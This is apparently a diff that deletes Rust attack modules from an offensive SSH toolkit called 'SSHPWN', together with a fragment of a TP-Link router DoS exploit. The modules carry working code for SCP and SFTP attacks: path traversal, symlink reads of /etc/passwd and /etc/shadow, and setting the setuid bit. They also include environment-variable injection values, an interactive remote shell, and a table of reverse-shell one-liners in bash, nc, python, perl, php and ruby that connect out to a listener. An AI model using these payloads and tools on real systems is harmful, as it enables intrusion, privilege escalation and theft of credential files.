println!();
println!("{}", "=== Running All SCP Attacks ===".yellow().bold());
println!();
println!("{}", "--- Attack 1: Path Traversal ---".cyan());
let _ = attack_scp_traversal(&host, port, &username, password_ref, keyfile_ref).await;
println!();
println!("{}", "--- Attack 2: Username Injection ---".cyan());
let _ = attack_scp_username_injection(&host, port).await;
println!();
println!("{}", "--- Attack 3: Brace Expansion DoS ---".cyan());
let _ = attack_scp_brace_dos(&host, port, &username, password_ref, keyfile_ref, 10).await;
println!();
println!("{}", "--- Attack 4: Command Injection ---".cyan());
let _ = attack_scp_cmd_injection(&host, port, &username, password_ref, keyfile_ref).await;
}
}
println!();
println!("{}", "[*] SCP attack module complete".green());
Ok(())
}
-605
View File
@@ -1,605 +0,0 @@
//! SSHPWN Session Attack Module
//!
//! Based on OpenSSH 10.0p1 vulnerability analysis
//!
//! SESSION VULNERABILITIES (session.c):
//! - do_exec() - Forced command bypass potential
//! - do_setup_env() - Environment variable injection (HIGH)
//! - do_child() - Privilege separation boundary
//!
//! SSHD-SESSION VULNERABILITIES (sshd-session.c):
//! - privsep_preauth() - FD leakage window between fork/closefrom
//! - privsep_postauth() - Privilege retention on DISABLE_FD_PASSING platforms
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Context, Result};
use colored::*;
use ssh2::Session;
use std::{
collections::HashMap,
io::{Read, Write},
net::TcpStream,
path::Path,
time::Duration,
};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSHPWN - Session Attack Module ║".cyan());
println!("{}", "║ Based on OpenSSH session.c vulnerability analysis ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Attack Modes: ║".cyan());
println!("{}", "║ 1. Environment Variable Injection (do_setup_env) ║".cyan());
println!("{}", "║ 2. Command Execution ║".cyan());
println!("{}", "║ 3. Interactive Shell ║".cyan());
println!("{}", "║ 4. Reverse Shell ║".cyan());
println!("{}", "║ 5. File Upload ║".cyan());
println!("{}", "║ 6. File Download ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Normalize target for connection
fn normalize_target(target: &str) -> String {
let trimmed = target.trim();
if trimmed.starts_with('[') && trimmed.contains(']') {
trimmed.to_string()
} else if trimmed.contains(':') && !trimmed.contains('.') {
format!("[{}]", trimmed)
} else {
trimmed.to_string()
}
}
/// Create SSH session with authentication
fn create_ssh_session(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
timeout_secs: u64,
) -> Result<(TcpStream, Session)> {
let addr = format!("{}:{}", host, port);
let tcp = TcpStream::connect_timeout(
&addr.parse().context("Invalid address")?,
Duration::from_secs(timeout_secs),
).context("Connection failed")?;
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp.try_clone()?);
sess.handshake()?;
// Authenticate
if let Some(key) = keyfile {
sess.userauth_pubkey_file(username, None, Path::new(key), password)?;
} else if let Some(pass) = password {
sess.userauth_password(username, pass)?;
} else {
return Err(anyhow!("No authentication method provided"));
}
if !sess.authenticated() {
return Err(anyhow!("Authentication failed"));
}
Ok((tcp, sess))
}
/// Execute command over SSH
fn ssh_exec(sess: &Session, cmd: &str, _timeout: u64) -> Result<(i32, String, String)> {
let mut channel = sess.channel_session()?;
channel.exec(cmd)?;
let mut stdout = String::new();
let mut stderr = String::new();
// Set non-blocking for timeout handling
sess.set_blocking(true);
channel.read_to_string(&mut stdout)?;
channel.stderr().read_to_string(&mut stderr)?;
channel.wait_close()?;
let exit_code = channel.exit_status()?;
Ok((exit_code, stdout, stderr))
}
/// Session Environment Variable Injection
///
/// Vulnerability: session.c do_setup_env() copies environment variables
/// from various sources including GSSAPI and client requests.
pub async fn attack_session_env_injection(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
custom_env: Option<HashMap<String, String>>,
) -> Result<bool> {
println!("{}", format!("[*] Session Environment Injection on {}", host).cyan());
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
println!("{}", "[*] Testing environment variable acceptance...".cyan());
// Common attack vectors
let env_injection_tests: Vec<(&str, &str)> = vec![
("LD_PRELOAD", "/tmp/evil.so"),
("LD_LIBRARY_PATH", "/tmp"),
("PATH", "/tmp:$PATH"),
("BASH_ENV", "/tmp/evil.sh"),
("ENV", "/tmp/evil.sh"),
("SSH_ORIGINAL_COMMAND", "id; cat /etc/passwd"),
("LC_ALL", "$(id)"),
("TERM", "$(id)"),
];
let mut custom_tests: Vec<(String, String)> = Vec::new();
if let Some(ref env_map) = custom_env {
for (k, v) in env_map {
custom_tests.push((k.clone(), v.clone()));
}
}
// Check current values
for (var, _val) in &env_injection_tests {
let cmd = format!("echo ${}", var);
match ssh_exec(&sess, &cmd, 10) {
Ok((_, stdout, _)) => {
println!("{}", format!(" {}: current='{}'", var, stdout.trim()).dimmed());
}
Err(_) => {}
}
}
println!();
println!("{}", "[*] Testing injection vectors...".cyan());
// These require AcceptEnv to be configured on server
println!("{}", "[!] AcceptEnv must allow these variables for injection to work".yellow());
println!("{}", "[*] Check server config: grep AcceptEnv /etc/ssh/sshd_config".dimmed());
// Test common permitted env vars
let permitted_test = "env | grep -E '^(LANG|LC_|SSH_)' | head -10";
match ssh_exec(&sess, permitted_test, 10) {
Ok((_, stdout, _)) => {
if !stdout.is_empty() {
println!("{}", "[+] Accepted environment variables:".green());
println!("{}", stdout);
}
}
Err(_) => {}
}
// Test if we can see SSH_ORIGINAL_COMMAND
let cmd = "echo SSH_ORIGINAL_COMMAND=$SSH_ORIGINAL_COMMAND";
match ssh_exec(&sess, cmd, 10) {
Ok((_, stdout, _)) => {
println!("{}", format!("[*] SSH_ORIGINAL_COMMAND test: {}", stdout.trim()).cyan());
}
Err(_) => {}
}
Ok(true)
}
/// Execute command on target
pub async fn attack_exec(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
command: &str,
timeout: u64,
) -> Result<bool> {
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
match ssh_exec(&sess, command, timeout) {
Ok((code, stdout, stderr)) => {
println!();
println!("{}", format!("[{}] Exit: {}", host, code).cyan());
if !stdout.is_empty() {
println!("{}", stdout);
}
if !stderr.is_empty() {
println!("{}", stderr.red());
}
Ok(code == 0)
}
Err(e) => {
println!("{}", format!("[-] Command execution failed: {}", e).red());
Ok(false)
}
}
}
/// Reverse shell payloads
fn get_reverse_shell_payloads() -> HashMap<&'static str, &'static str> {
let mut payloads = HashMap::new();
payloads.insert("bash", "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1");
payloads.insert("bash_alt", "/bin/bash -c \"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1\"");
payloads.insert("nc", "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f");
payloads.insert("python", "python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'");
payloads.insert("python3", "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'");
payloads.insert("perl", "perl -e 'use Socket;$i=\"{lhost}\";$p={lport};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");'");
payloads.insert("php", "php -r '$s=fsockopen(\"{lhost}\",{lport});exec(\"/bin/sh -i <&3 >&3 2>&3\");'");
payloads.insert("ruby", "ruby -rsocket -e's=TCPSocket.open(\"{lhost}\",{lport}).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",s,s,s)'");
payloads
}
/// Send reverse shell payload
pub async fn attack_revshell(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
lhost: &str,
lport: u16,
payload_type: &str,
) -> Result<bool> {
let payloads = get_reverse_shell_payloads();
let payload_template = payloads.get(payload_type)
.ok_or_else(|| anyhow!("Unknown payload type: {}. Available: {}", payload_type,
payloads.keys().cloned().collect::<Vec<_>>().join(", ")))?;
let cmd = payload_template
.replace("{lhost}", lhost)
.replace("{lport}", &lport.to_string());
println!("{}", format!("[*] Payload ({}): ", payload_type).cyan());
println!(" {}", cmd);
println!();
println!("{}", format!("[!] Start listener: nc -lvnp {}", lport).yellow().bold());
println!();
print!("Press Enter to send payload...");
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
attack_exec(host, port, username, password, keyfile, &cmd, 5).await
}
/// Upload file via SFTP
pub async fn attack_upload(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
local_path: &str,
remote_path: &str,
) -> Result<bool> {
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
let sftp = sess.sftp().context("SFTP initialization failed")?;
// Read local file
let content = std::fs::read(local_path)
.context(format!("Failed to read local file: {}", local_path))?;
// Write to remote
let mut remote_file = sftp.create(Path::new(remote_path))?;
remote_file.write_all(&content)?;
println!("{}", format!("[+] Uploaded {} -> {}", local_path, remote_path).green());
Ok(true)
}
/// Download file via SFTP
pub async fn attack_download(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
remote_path: &str,
local_path: &str,
) -> Result<bool> {
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
let sftp = sess.sftp().context("SFTP initialization failed")?;
// Read from remote
let mut remote_file = sftp.open(Path::new(remote_path))?;
let mut content = Vec::new();
remote_file.read_to_end(&mut content)?;
// Write to local
std::fs::write(local_path, &content)
.context(format!("Failed to write local file: {}", local_path))?;
println!("{}", format!("[+] Downloaded {} -> {}", remote_path, local_path).green());
Ok(true)
}
/// Interactive shell - continuous command execution loop
pub async fn attack_interactive_shell(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
) -> Result<bool> {
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
println!("{}", format!("[PWNED] Interactive shell on {}:{}", host, port).red().bold());
println!("{}", "[*] Type 'exit' or 'quit' to disconnect".cyan());
println!("{}", "[*] Type '!upload <local> <remote>' to upload files".cyan());
println!("{}", "[*] Type '!download <remote> <local>' to download files".cyan());
println!();
// Get initial info
if let Ok((_, whoami, _)) = ssh_exec(&sess, "whoami", 5) {
if let Ok((_, hostname, _)) = ssh_exec(&sess, "hostname", 5) {
println!("{}", format!("[*] Logged in as: {}@{}", whoami.trim(), hostname.trim()).green());
}
}
// Get initial working directory
let mut cwd = String::from("~");
if let Ok((_, pwd, _)) = ssh_exec(&sess, "pwd", 5) {
cwd = pwd.trim().to_string();
}
loop {
// Print prompt
print!("{}", format!("{}@{}:{} $ ", username, host, cwd).green());
std::io::stdout().flush()?;
// Read command
let mut input = String::new();
if std::io::stdin().read_line(&mut input).is_err() {
break;
}
let cmd = input.trim();
if cmd.is_empty() {
continue;
}
// Handle special commands
if cmd == "exit" || cmd == "quit" {
println!("{}", "[*] Disconnecting...".cyan());
break;
}
// Handle file upload
if cmd.starts_with("!upload ") {
let parts: Vec<&str> = cmd.splitn(3, ' ').collect();
if parts.len() == 3 {
let local_path = parts[1];
let remote_path = parts[2];
match sess.sftp() {
Ok(sftp) => {
match std::fs::read(local_path) {
Ok(content) => {
match sftp.create(std::path::Path::new(remote_path)) {
Ok(mut f) => {
if f.write_all(&content).is_ok() {
println!("{}", format!("[+] Uploaded {} -> {}", local_path, remote_path).green());
} else {
println!("{}", "[-] Write failed".red());
}
}
Err(e) => println!("{}", format!("[-] Create failed: {}", e).red()),
}
}
Err(e) => println!("{}", format!("[-] Read local file failed: {}", e).red()),
}
}
Err(e) => println!("{}", format!("[-] SFTP failed: {}", e).red()),
}
} else {
println!("{}", "Usage: !upload <local_path> <remote_path>".yellow());
}
continue;
}
// Handle file download
if cmd.starts_with("!download ") {
let parts: Vec<&str> = cmd.splitn(3, ' ').collect();
if parts.len() == 3 {
let remote_path = parts[1];
let local_path = parts[2];
match sess.sftp() {
Ok(sftp) => {
match sftp.open(std::path::Path::new(remote_path)) {
Ok(mut f) => {
let mut content = Vec::new();
if f.read_to_end(&mut content).is_ok() {
if std::fs::write(local_path, &content).is_ok() {
println!("{}", format!("[+] Downloaded {} -> {}", remote_path, local_path).green());
} else {
println!("{}", "[-] Write local file failed".red());
}
} else {
println!("{}", "[-] Read remote file failed".red());
}
}
Err(e) => println!("{}", format!("[-] Open failed: {}", e).red()),
}
}
Err(e) => println!("{}", format!("[-] SFTP failed: {}", e).red()),
}
} else {
println!("{}", "Usage: !download <remote_path> <local_path>".yellow());
}
continue;
}
// Handle cd command specially to track cwd
if cmd.starts_with("cd ") || cmd == "cd" {
let new_dir = if cmd == "cd" { "~" } else { &cmd[3..] };
let check_cmd = format!("cd {} && pwd", new_dir);
match ssh_exec(&sess, &check_cmd, 10) {
Ok((code, stdout, _)) => {
if code == 0 {
cwd = stdout.trim().to_string();
} else {
println!("{}", format!("cd: {}: No such directory", new_dir).red());
}
}
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
}
continue;
}
// Execute regular command (prepend cd to maintain directory context)
let full_cmd = format!("cd {} && {}", cwd, cmd);
match ssh_exec(&sess, &full_cmd, 60) {
Ok((code, stdout, stderr)) => {
if !stdout.is_empty() {
print!("{}", stdout);
}
if !stderr.is_empty() {
print!("{}", stderr.red());
}
if code != 0 && stdout.is_empty() && stderr.is_empty() {
println!("{}", format!("Command exited with code: {}", code).yellow());
}
}
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
}
}
println!("{}", "[*] Session closed".cyan());
Ok(true)
}
/// Prompt helper
fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
Ok(input.trim().to_string())
}
fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_optional(message: &str) -> Result<Option<String>> {
print!("{} (leave empty to skip): ", message);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(None)
} else {
Ok(Some(trimmed.to_string()))
}
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target);
println!("{}", format!("[*] Target: {}", host).cyan());
// Get connection parameters
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(22);
let username = prompt("Username")?;
if username.is_empty() {
return Err(anyhow!("Username is required"));
}
let password = prompt_optional("Password")?;
let keyfile = prompt_optional("SSH Key File Path")?;
if password.is_none() && keyfile.is_none() {
return Err(anyhow!("Either password or keyfile is required"));
}
println!();
println!("{}", "Select attack mode:".yellow().bold());
println!(" 1. Environment Variable Injection Test");
println!(" 2. Execute Command");
println!(" 3. Interactive Shell");
println!(" 4. Reverse Shell");
println!(" 5. Upload File");
println!(" 6. Download File");
println!();
let mode = prompt_default("Attack mode", "1")?;
let password_ref = password.as_deref();
let keyfile_ref = keyfile.as_deref();
match mode.as_str() {
"1" => {
attack_session_env_injection(&host, port, &username, password_ref, keyfile_ref, None).await?;
}
"2" => {
let command = prompt_default("Command to execute", "id")?;
attack_exec(&host, port, &username, password_ref, keyfile_ref, &command, 30).await?;
}
"3" => {
attack_interactive_shell(&host, port, &username, password_ref, keyfile_ref).await?;
}
"4" => {
let lhost = prompt("Listener IP (LHOST)")?;
if lhost.is_empty() {
return Err(anyhow!("LHOST is required"));
}
let lport: u16 = prompt_default("Listener Port (LPORT)", "4444")?.parse().unwrap_or(4444);
println!();
println!("{}", "Available payloads:".cyan());
let payloads = get_reverse_shell_payloads();
for key in payloads.keys() {
println!(" - {}", key);
}
let payload_type = prompt_default("Payload type", "bash")?;
attack_revshell(&host, port, &username, password_ref, keyfile_ref, &lhost, lport, &payload_type).await?;
}
"5" => {
let local_path = prompt("Local file path")?;
let remote_path = prompt("Remote file path")?;
attack_upload(&host, port, &username, password_ref, keyfile_ref, &local_path, &remote_path).await?;
}
"6" => {
let remote_path = prompt("Remote file path")?;
let local_path = prompt("Local file path")?;
attack_download(&host, port, &username, password_ref, keyfile_ref, &remote_path, &local_path).await?;
}
_ => {
println!("{}", "[-] Invalid mode".red());
}
}
println!();
println!("{}", "[*] Session attack module complete".green());
Ok(())
}
@@ -1,452 +0,0 @@
//! SSHPWN SFTP Attack Module
//!
//! Based on OpenSSH 10.0p1 vulnerability analysis
//!
//! SFTP-SERVER VULNERABILITIES (sftp-server.c):
//! - process_symlink() - Symlink target injection (HIGH)
//! - process_setstat() - chmod allows setuid via 07777 mask (HIGH)
//! - process_open() - Path traversal (HIGH)
//! - process_write() - Partial write atomicity issues
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Context, Result};
use colored::*;
use ssh2::Session;
use std::{
io::{Read, Write},
net::TcpStream,
path::Path,
time::Duration,
};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSHPWN - SFTP Attack Module ║".cyan());
println!("{}", "║ Based on OpenSSH sftp-server.c vulnerability analysis ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Attack Modes: ║".cyan());
println!("{}", "║ 1. Symlink Injection (process_symlink) ║".cyan());
println!("{}", "║ 2. Setuid Bit Attack (process_setstat 07777) ║".cyan());
println!("{}", "║ 3. Path Traversal (process_open) ║".cyan());
println!("{}", "║ 4. Partial Write Race (process_write) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Normalize target for connection
fn normalize_target(target: &str) -> String {
let trimmed = target.trim();
if trimmed.starts_with('[') && trimmed.contains(']') {
trimmed.to_string()
} else if trimmed.contains(':') && !trimmed.contains('.') {
format!("[{}]", trimmed)
} else {
trimmed.to_string()
}
}
/// Create SSH session with authentication
fn create_ssh_session(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
timeout_secs: u64,
) -> Result<(TcpStream, Session)> {
let addr = format!("{}:{}", host, port);
let tcp = TcpStream::connect_timeout(
&addr.parse().context("Invalid address")?,
Duration::from_secs(timeout_secs),
).context("Connection failed")?;
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp.try_clone()?);
sess.handshake()?;
// Authenticate
if let Some(key) = keyfile {
sess.userauth_pubkey_file(username, None, Path::new(key), password)?;
} else if let Some(pass) = password {
sess.userauth_password(username, pass)?;
} else {
return Err(anyhow!("No authentication method provided"));
}
if !sess.authenticated() {
return Err(anyhow!("Authentication failed"));
}
Ok((tcp, sess))
}
/// SFTP Symlink Attack - Create symlink to sensitive file
///
/// Vulnerability: sftp-server.c process_symlink() does not validate symlink target.
/// Client can create symlinks pointing anywhere, bypassing chroot restrictions.
pub async fn attack_sftp_symlink(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
target_file: &str,
link_name: Option<&str>,
) -> Result<bool> {
println!("{}", format!("[*] SFTP Symlink Attack on {}", host).cyan());
println!("{}", format!("[*] Target file: {}", target_file).cyan());
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
let sftp = sess.sftp().context("SFTP initialization failed")?;
let link_path = link_name
.map(|s| s.to_string())
.unwrap_or_else(|| format!("/tmp/.symlink_attack_{}", std::process::id()));
// Create symlink to target (this is the vulnerability)
// sftp-server.c:1491: r = symlink(oldpath, newpath);
match sftp.symlink(Path::new(target_file), Path::new(&link_path)) {
Ok(_) => {
println!("{}", format!("[VULN] Created symlink: {} -> {}", link_path, target_file).red().bold());
// Try to read through symlink
match sftp.open(Path::new(&link_path)) {
Ok(mut file) => {
let mut content = String::new();
if file.read_to_string(&mut content).is_ok() {
println!("{}", format!("[PWNED] Read {} via symlink:", target_file).red().bold());
println!();
// Show first 500 chars
let preview: String = content.chars().take(500).collect();
println!("{}", preview);
println!();
}
}
Err(e) => {
println!("{}", format!("[!] Read failed (may need permissions): {}", e).yellow());
}
}
// Cleanup
let _ = sftp.unlink(Path::new(&link_path));
Ok(true)
}
Err(e) => {
println!("{}", format!("[-] Symlink attack failed: {}", e).red());
Ok(false)
}
}
}
/// SFTP chmod Setuid Attack - Set setuid bit on uploaded file
///
/// Vulnerability: sftp-server.c process_setstat() uses 07777 mask.
/// This allows setting setuid(04000), setgid(02000), sticky(01000) bits.
pub async fn attack_sftp_setuid(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
target_file: Option<&str>,
) -> Result<bool> {
println!("{}", format!("[*] SFTP Setuid Attack on {}", host).cyan());
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
let sftp = sess.sftp().context("SFTP initialization failed")?;
let test_file = target_file
.map(|s| s.to_string())
.unwrap_or_else(|| format!("/tmp/setuid_test_{}", std::process::id()));
// Create test file
{
let mut file = sftp.create(Path::new(&test_file))?;
file.write_all(b"#!/bin/sh\nid\n")?;
}
println!("{}", format!("[*] Created test file: {}", test_file).cyan());
// Try to set setuid bit (0o4755 = setuid + rwxr-xr-x)
// sftp-server.c:1102: r = chmod(name, a.perm & 07777);
match sftp.setstat(Path::new(&test_file), ssh2::FileStat {
size: None,
uid: None,
gid: None,
perm: Some(0o4755),
atime: None,
mtime: None,
}) {
Ok(_) => {
// Verify
match sftp.stat(Path::new(&test_file)) {
Ok(stat) => {
if let Some(mode) = stat.perm {
let mode_masked = mode & 0o7777;
if mode_masked & 0o4000 != 0 {
println!("{}", format!("[VULN] Setuid bit set! Mode: {:o}", mode_masked).red().bold());
println!("{}", format!("[PWNED] File {} has setuid bit", test_file).red().bold());
let _ = sftp.unlink(Path::new(&test_file));
return Ok(true);
} else {
println!("{}", format!("[*] Setuid stripped. Mode: {:o}", mode_masked).yellow());
}
}
}
Err(e) => {
println!("{}", format!("[!] Stat failed: {}", e).yellow());
}
}
}
Err(e) => {
println!("{}", format!("[-] Chmod failed: {}", e).red());
}
}
// Cleanup
let _ = sftp.unlink(Path::new(&test_file));
Ok(false)
}
/// SFTP Path Traversal - Attempt to access files outside allowed directory
pub async fn attack_sftp_traversal(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
target_path: &str,
) -> Result<bool> {
println!("{}", format!("[*] SFTP Path Traversal on {}", host).cyan());
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
let sftp = sess.sftp().context("SFTP initialization failed")?;
let traversal_paths = vec![
target_path.to_string(),
format!("../../../..{}", target_path),
format!("....//....//....//..../{}", target_path),
format!("/..{}", target_path),
format!("/./{}", target_path),
];
for path in &traversal_paths {
println!("{}", format!("[*] Trying: {}", path).cyan());
match sftp.open(Path::new(path)) {
Ok(mut file) => {
let mut content = String::new();
if file.read_to_string(&mut content).is_ok() {
println!("{}", "[VULN] Path traversal successful!".red().bold());
println!();
let preview: String = content.chars().take(200).collect();
println!("{}", preview);
println!();
return Ok(true);
}
}
Err(e) => {
let err_str = e.to_string();
if err_str.contains("Permission denied") {
println!("{}", "[*] Permission denied (chroot may be working)".dimmed());
} else if err_str.contains("No such file") {
println!("{}", "[*] File not found".dimmed());
} else {
println!("{}", format!("[*] Blocked: {}", e).dimmed());
}
}
}
}
println!("{}", "[-] Path traversal blocked".yellow());
Ok(false)
}
/// SFTP Partial Write Attack - Exploit atomicity issues in writes
///
/// Vulnerability: sftp-server.c process_write() may not complete writes atomically.
pub async fn attack_sftp_partial_write(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
) -> Result<bool> {
println!("{}", format!("[*] SFTP Partial Write Attack on {}", host).cyan());
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
let sftp = sess.sftp().context("SFTP initialization failed")?;
let test_file = format!("/tmp/partial_write_test_{}", std::process::id());
println!("{}", "[*] Testing partial write scenarios...".cyan());
// Test 1: Large write that might be split
let large_data = vec![b'A'; 1024 * 1024]; // 1MB
match sftp.create(Path::new(&test_file)) {
Ok(mut file) => {
match file.write_all(&large_data) {
Ok(_) => {
// Verify write completed
match sftp.stat(Path::new(&test_file)) {
Ok(stat) => {
if let Some(size) = stat.size {
if size as usize == large_data.len() {
println!("{}", format!("[+] Full write completed: {} bytes", size).green());
} else {
println!("{}", format!("[VULN] Partial write! Expected {}, got {}", large_data.len(), size).red().bold());
let _ = sftp.unlink(Path::new(&test_file));
return Ok(true);
}
}
}
Err(e) => {
println!("{}", format!("[!] Stat failed: {}", e).yellow());
}
}
}
Err(e) => {
println!("{}", format!("[*] Write test: {}", e).yellow());
}
}
}
Err(e) => {
println!("{}", format!("[-] Create failed: {}", e).red());
}
}
// Cleanup
let _ = sftp.unlink(Path::new(&test_file));
println!("{}", "[*] Partial write testing complete".cyan());
println!("{}", "[*] Note: Race conditions require concurrent access testing".yellow());
Ok(false)
}
/// Prompt helper
fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
Ok(input.trim().to_string())
}
fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_optional(message: &str) -> Result<Option<String>> {
print!("{} (leave empty to skip): ", message);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(None)
} else {
Ok(Some(trimmed.to_string()))
}
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target);
println!("{}", format!("[*] Target: {}", host).cyan());
// Get connection parameters
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(22);
let username = prompt("Username")?;
if username.is_empty() {
return Err(anyhow!("Username is required"));
}
let password = prompt_optional("Password")?;
let keyfile = prompt_optional("SSH Key File Path")?;
if password.is_none() && keyfile.is_none() {
return Err(anyhow!("Either password or keyfile is required"));
}
println!();
println!("{}", "Select attack mode:".yellow().bold());
println!(" 1. Symlink Injection (read sensitive files)");
println!(" 2. Setuid Bit Attack (privilege escalation)");
println!(" 3. Path Traversal (escape chroot)");
println!(" 4. Partial Write Test (race condition)");
println!(" 5. Run All Attacks");
println!();
let mode = prompt_default("Attack mode", "5")?;
let password_ref = password.as_deref();
let keyfile_ref = keyfile.as_deref();
match mode.as_str() {
"1" => {
let target_file = prompt_default("Target file to read", "/etc/passwd")?;
attack_sftp_symlink(&host, port, &username, password_ref, keyfile_ref, &target_file, None).await?;
}
"2" => {
attack_sftp_setuid(&host, port, &username, password_ref, keyfile_ref, None).await?;
}
"3" => {
let target_path = prompt_default("Target path", "/etc/passwd")?;
attack_sftp_traversal(&host, port, &username, password_ref, keyfile_ref, &target_path).await?;
}
"4" => {
attack_sftp_partial_write(&host, port, &username, password_ref, keyfile_ref).await?;
}
"5" | _ => {
println!();
println!("{}", "=== Running All SFTP Attacks ===".yellow().bold());
println!();
println!("{}", "--- Attack 1: Symlink Injection ---".cyan());
let _ = attack_sftp_symlink(&host, port, &username, password_ref, keyfile_ref, "/etc/passwd", None).await;
println!();
println!("{}", "--- Attack 2: Setuid Bit ---".cyan());
let _ = attack_sftp_setuid(&host, port, &username, password_ref, keyfile_ref, None).await;
println!();
println!("{}", "--- Attack 3: Path Traversal ---".cyan());
let _ = attack_sftp_traversal(&host, port, &username, password_ref, keyfile_ref, "/etc/shadow").await;
println!();
println!("{}", "--- Attack 4: Partial Write ---".cyan());
let _ = attack_sftp_partial_write(&host, port, &username, password_ref, keyfile_ref).await;
}
}
println!();
println!("{}", "[*] SFTP attack module complete".green());
Ok(())
}
@@ -13,23 +13,11 @@
use anyhow::Result;
use base64::{engine::general_purpose, Engine as _};
use colored::*;
use reqwest::{header::HeaderMap, Client};
use std::io::{self, Write};
use reqwest::{Client, header::HeaderMap};
use std::io;
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration};
const DEFAULT_PORT: u16 = 8082;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ TP-Link TL-WR740N Buffer Overflow DoS Exploit ║".cyan());
println!("{}", "║ Crashes router web server via crafted ping request ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// Normalize IP to handle IPv6 and multiple brackets
